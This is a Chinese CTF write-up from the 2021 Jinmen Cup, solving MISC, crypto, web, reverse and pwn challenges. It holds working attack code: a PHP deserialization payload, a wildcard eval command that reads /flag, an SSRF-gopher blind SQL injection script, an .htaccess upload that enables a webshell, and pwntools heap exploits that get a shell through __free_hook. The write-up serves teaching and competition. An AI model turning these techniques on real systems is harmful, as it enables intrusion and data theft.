『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec

小编提示:关注 『宸极实验室』,回复 『津门杯-2021』,即可获取全部题目附件。

前言

成绩如下

总排名:全国第十名,成功进入线下总决赛

image-20210511150931313

一血数量:三个 1 血(CRYPTO、MISC、WEB 各一个)

二血数量:一个 (MISC)

image-20210511151134043

MISC

m0usb

writeup

打开一看是usb数据,先用键盘脚本解码。

图片[3]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

分析发现,字符串中只有01248几个字符,搜索发现,是云影密码。
图片[4]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

使用脚本解码得:

图片[5]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

flag

flag{THISISFLAG}

m1bmp

writeup

bmplsb隐写。

图片[6]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

直接解码得flag

flag

flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}

tunnel

writeup

打开数据包,发现全是有base64dns域名请求,使用tshark提取A记录的域名。

tshark -r tunnel.pcap -T fields -e dns.qry.name -R 'dns.qry.type == 1'

911个,使用脚本进行解码拼接,得到一个加密的zip

import base64

dec = ""

with open("A.txt","r") as f:
    for line in f.readlines():
        tmp = line.strip()
        missing_padding = len(tmp) % 4
        if missing_padding != 0:
            tmp += b'='* (4 - missing_padding)
        dec += base64.b64decode(tmp)

print(len(dec))
with open('A.zip', 'w') as f:
    f.write(dec)

打开后发现压缩包有密码,尝试爆破后未成功。
然后队友说了句需要在每一行的base64后面添加等号,这时想到了base64隐写,进行解码后得到压缩包密码B@%MG"6FjbS8^c#r
-w1045

最后解密压缩包得到flag.jpg

-w591

最后提交flag时多次错误,就离谱,尝试过后发现,提交flag时竟然要把单引号删掉。

flag

flag{DO1nt_5pY_OnmE}

Crypto

rsa

writeup

打开一看,e很大,直接wiener_attack攻击得到flag
-w1263

flag

flag{ZTAtG3hjH2zpcoB5}

混合编码

writeup

base64->urlencode->ascii,轮着解码即可。

图片[10]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

flag

flag{q1xKpm8vILWrkmXxV6j11MdcGtLzvRyV}

WEB

power_cut

writeup

题目提示为:

昨天晚上因为14级大风停电了

根据提示,判断为编辑器备份文件。

发现swp文件,恢复得到源码。

关键代码为:

<?php
 class logger{
     public $logFile;
     public $initMsg;
     public $exitMsg;
     function __construct($file){
         ENTER // initialise variablesinue
         $this->initMsg="#--session started--#\n";
         $this->exitMsg="#--session end--#\n";
         $this->logFile =  $file;
         readfile($this->logFile);
     }
 }
 class weblog {
     public $weblogfile;
     function __construct() {
         $flag="system('cat /flag')";
         echo "$flag";
     }
     function __wakeup(){
         // self::waf($this->filepath);
         $obj = new logger($this->weblogfile);
     }
 }
 $log = $_GET['log'];
 $log = preg_replace("/[<>*#'|?\n ]/","",$log);
 $log = str_replace('flag','',$log);
 $log_unser = unserialize($log);
 ?>

weblog类的__construct是无用的,只是用来提示flag位置。

思路为 通过反序列化weblog类,调用__wakeup魔术方法去构造logger类。

进而触发了logger类的__construct方法,调用了readfile去读取flag

payload:

<?php 
class logger{
     public $logFile;

     function __construct($file){
         $this->logFile =  $file;
         readfile($this->logFile);
     }

 }
 class weblog {
     public $weblogfile;

 }

$a= new weblog();
$a->weblogfile ='/flag';
$a = serialize($a);
echo $a;
?>

这里的flag过滤,可通过双写绕过,最终payload

O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}

image-20210509102915574

flag

flag{EfuteB3QOqvRqD099mHuDRJKWRxnAC7}

hate_php

writeup

题目代码如下:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

常规的无字母数字webshell题目。

参考文章:https://xz.aliyun.com/t/8107#toc-11

同时过滤了_ $ @

不能用定义变量的做法了。

尝试取反操作,发现环境限制,同样失败。

于是尝试通配符。

image-20210509102737510

常见flag位置为/flag

code=?><?=`/???/??? /????`?>

最终得到了flag{test123}

提交错误,反馈工作人员。

之后环境重置,得到flag

image-20210509102929192

flag

flag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}

easysql

writeup

题目源码:

<?php
highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
            exit();
        }

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }

?> 

简单的ssrf,全端口探测,发现只开放803306

想到ssrf通过gopher协议攻击已知用户名无密码的mysql

但爆破密码失败。

同时目录扫描发现admin.php

结合题目为easysql

猜测为admin.php进行post注入。

http://122.112.251.23:20001/?url=gopher://127.0.0.1:80/_POST%2520%2fadmin.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Apoc%253D123%250D%250A

image-20210509142020193

但基本上没反应,猜测可能为盲注。

由于实在太菜,只能用手工慢慢fuzz

最终得到有用payload为:

1) and sleep(10) and(1=1

之后就是写脚本进行盲注了,脚本如下:

# -*- coding: utf-8 -*-
import urllib
import requests
import time


flag='flag is :'
s = '0123456789abcdefghijklmnopqrstuvwxyz~!@#$%{}-_'

for i in range(100):
	for ss in s:
		payload = "poc=1)and if(substr((select user()),%d,1)='%s',sleep(5),0) and (1=1" % (i,ss)
#print(payload)
		test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1
Accept: */* 
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close 

%s
""" % (len(payload),payload)
		tmp = urllib.parse.quote(test)
		new = tmp.replace('%0A','%0D%0A')
		new = new.replace('%','%25')
		result = '_'+new

		url = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+result
		print(url)
		startTime=time.time()
		data= requests.get(url).content[3400:]
		if(time.time() - startTime > 5):
			flag += ss
			print flag

可能是时间盲注问题,服务器很不稳定,搞了很久才拿到flag

securityflagflag字段

flag

flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}

uploadhub

writeup

题目给到了源码包。

有源码和配置文件,大致看了源码。

不能注入,也不能绕过上传。

之后看到index.php?id=1.htaccess文件。

就明白了,应该是上传.htaccess文件进行解析了。

上传之后发现无法解析,卡了很久。

源码层面是放弃了,于是去看配置文件,出题人不可能放一些没用的配置文件在里面。

筛选后的Apache.conf如下:

image-20210510093805157

可以发现,在上传目录,存在设置:

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

之后去百度,去谷歌,发现文章。

https://xz.aliyun.com/t/8267

里面提到:

image-20210510093504723

这就导致了上传.htaccess之后,同样不解析php

之后上传.htaccess,开启就可以了。

ps:测试发现<file>标签比<directory>优先级高

<Files "*.gif">
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
php_flag engine on
</Files>

随便上传个gif,拿到shell,但是由于disable_funtions的限制,只能通过readfile读取文件,应该是防止搅屎的。

flag

flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

gooss

writeup

go语言的题目,给了源码。

大体看一下,存在index.php,最终应该是通过这个来进行获取flag

然后看一下main.go文件。

大致两块,uploadvul

upload应该是陷阱,没法利用的。

主要是vul

image-20210510100449565

本来以为可以ssrf,但是好像没那么简单。

限制很严格。

之后又看到这里:

image-20210510100650756

总体思路就比较清晰了,通过302跳转,来跳转到本地80端口的index.php,进而读取flag

发现这几篇文章

https://www.secpulse.com/archives/102918.html

https://xz.aliyun.com/t/3302

https://evoa.me/archives/21/

综上,我们可以构造

http://127.0.0.1:1234//ip/..

跳转到ip

我们可以在vps上新建index.php

内容为

<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>

之后构造payload进行跳转:

image-20210510101920145

flag

flag{30e308e8e7122579b8ea2fae774d1999}

Reverse

easyRe

writeup

题目给出了三个文件,乱码的my.luaBase64 编码的output.txt 和一个ELF re6

output.txtBase64 解码后是一堆数字,暂时不明白作用,先放着。

image-20210510162359482

my.lua打开乱码,怀疑被加密,需要分析re6

image-20210510162411646

找到验证函数,输入长度要求32位,并且将输入内容的3个字符用来参与计算初始值,作为参数传入sub_402489,进行关键计算。

image-20210510162443152

进入sub_402489,对my.lua进行了读取,循环与2、3、5进行异或解密,解密后的lua

image-20210510163606901

image-20210510162836246

再由传入的初始值当种子生成随机数,同时对输入内容按位进行每个随机数异或,再与5977654异或,output.txt中的数字数量正好相符,所以关键在于最开始的随机数种子,可以爆破0-255的范围。

image-20210510162709334

image-20210510170351502

flag

flag{e4da3b7fbbce2345d7772b0674a318d5}

GoodRE

writeup

很正常的一个题目,使用IDA进行反编译,对算法进行分析发现是TEA算法。

图片[27]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

图片[28]-『CTF』津门杯国际网络安全创新大赛 WP – 作者:宸极实验室Sec-安全小百科

分析完算法之后,将对比的数据拿出来之后进行解密即可,在网上找一个TEA算法解密脚本。

//TEA算法
#include <stdio.h>
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t v[2]={0x79AE1A3B,0x596080D3};
    uint32_t const k[4]={17,17,17,17};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    //printf("加密前原始数据:%u %u\n",v[0],v[1]);
    //encipher(r, v, k);
    //printf("加密后的数据:%u %u\n",v[0],v[1]);
    decipher(r, v, k);
    printf("解密后的数据:%u %u\n",v[0],v[1]);
    return 0;
}

-w1127

flag

flag{7DEA3F6D3B3D6C0C620864ADD2FA2AE1A61F2736F0060DA0B97E8356D017CE59}

Pwn

easypwn

writeup

EXP:

from pwn import *
context.log_level = "debug"
amd64 = True
if amd64:
 context.arch = "amd64"
else:
 context.arch = "i386"
local = False
if local:
 p = process("./hello")
 if amd64:
  libc = ELF("/glibc/2.23/64/lib/libc.so.6")
 else:
  libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
 p = remote("119.3.81.43","49153")
 libc = ELF("/glibc/2.23/64/lib/libc.so.6")
elf = ELF("./hello")

def g_p(params):
 param = ""
 for i in params:
  param += (i + "\n")
 gdb.attach(p, param)
def g():
 gdb.attach(p)

s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
shell = lambda: p.interactive()

def choice(index):
 sla("your choice>>",str(index))

def add(size,number,name,content):
 choice(1)
 sla("number:",number)
 sla("name:",name)
 sla("size:",str(size))
 sa("info:",content)

def delete(index):
 choice(2)
 sla("index:",str(index))

def show(index):
 choice(3)
 sla("index:",str(index))

def edit(index,number,name,content):
 choice(4)
 sla("index:",str(index))
 sla("number:",number)
 sla("name:",name)
 sa("info:",content)

add(0x80,"1","1","aaa\n") #0
add(0x80,"1","1","bbb\n") #1
add(0x80,"1","1","/bin/sh\x00\n") #2
delete(1)
#gdb.attach(p)
edit(0,"a"*11+"\n","b"*13+"\xa0\n","aaa")
#gdb.attach(p)
show(0)
p.recvuntil("des:")
unsortedbin = u64(p.recv(numb=6).ljust(0x8,"\x00"))
offset = 0x7f1488760b0a - 0x7f148839c000 
libc.address = unsortedbin - offset
#0a 4b  d5 3a aa 7f
print hex(libc.address)
edit(0,"a\n","b"*13 + p64(libc.sym["__free_hook"]),p64(libc.sym["system"]))
#gdb.attach(p)
delete(2)
p.interactive()

flag

flag{612ea967e4e5660a863966365ddc4947}

PwnCTFM

writeup

EXP:

from pwn import *
context.log_level = "debug"
amd64 = True
if amd64:
 context.arch = "amd64"
else:
 context.arch = "i386"
local = False
if local:
 p = process("./pwn")
 if amd64:
  libc = ELF("/glibc/2.27/64/lib/libc.so.6")
 else:
  libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
 p = remote("119.3.81.43","49155")
 libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./pwn")

def g_p(params):
 param = ""
 for i in params:
  param += (i + "\n")
 gdb.attach(p, param)
def g():
 gdb.attach(p)

s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
shell = lambda: p.interactive()

def choice(index):
 sla("your choice>>",str(index))

def add(size,name,content,number):
 choice(1)
 sla("name:",name)
 sla("size:",str(size))
 sa("des:",content)
 sla("score:",str(number))

def delete(index):
 choice(2)
 sla("index:",str(index))

def show(index):
 choice(3)
 sla("index:",str(index))

def edit(index,number,name,content):
 choice(4)
 sla("index:",str(index))

def conn():
 choice(2)
 sla("index:","1"*0x500) 

sla("input manager name:","test")
sla("input password:","123456")

for i in range(10):
 add(0x158,"aaa","bbb",1)
for i in range(9):
 delete(i) #0-8

add(0x18,"aaa","bbb",1) #0
delete(0)
add(0x18,"aaa","b"*0x18,1) #0
delete(0)
add(0xE8,"aaa","bbb",1) #0
add(0x78,"aaa","bbb",1) #1
add(0x78,"aaa","bbb",1) #2
delete(2)
for i in range(2,9):
 add(0xE8,"aaa","bbb",1)
for i in range(2,9):
 delete(i)
delete(0)
delete(9)
add(0x50,"aaa","bbb",1) #0
add(0x50,"aaa","bbb",1) #2
add(0x28,"aaa","bbb",1) #3
show(1)
p.recvuntil('topic des:')
offset = 0x7fa7d0819ca0 - 0x7fa7d042e000
unsortedbin = u64(p.recv(numb=6).ljust(0x8,"\x00"))
libc.address = unsortedbin - offset
add(0x1f0,"aaa","a" * 0x80 + p64(libc.sym["__free_hook"]),1) #4
add(0x88,"aaa","/bin/sh\x00",1) #5
add(0x88,"aaa",p64(libc.sym["system"]),1) #6
delete(5)
#gdb.attach(p)
p.interactive()

flag

flag{e322a6bef93f857e5cba6b4778d5faee}

来源:freebuf.com 2021-05-11 20:17:09 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论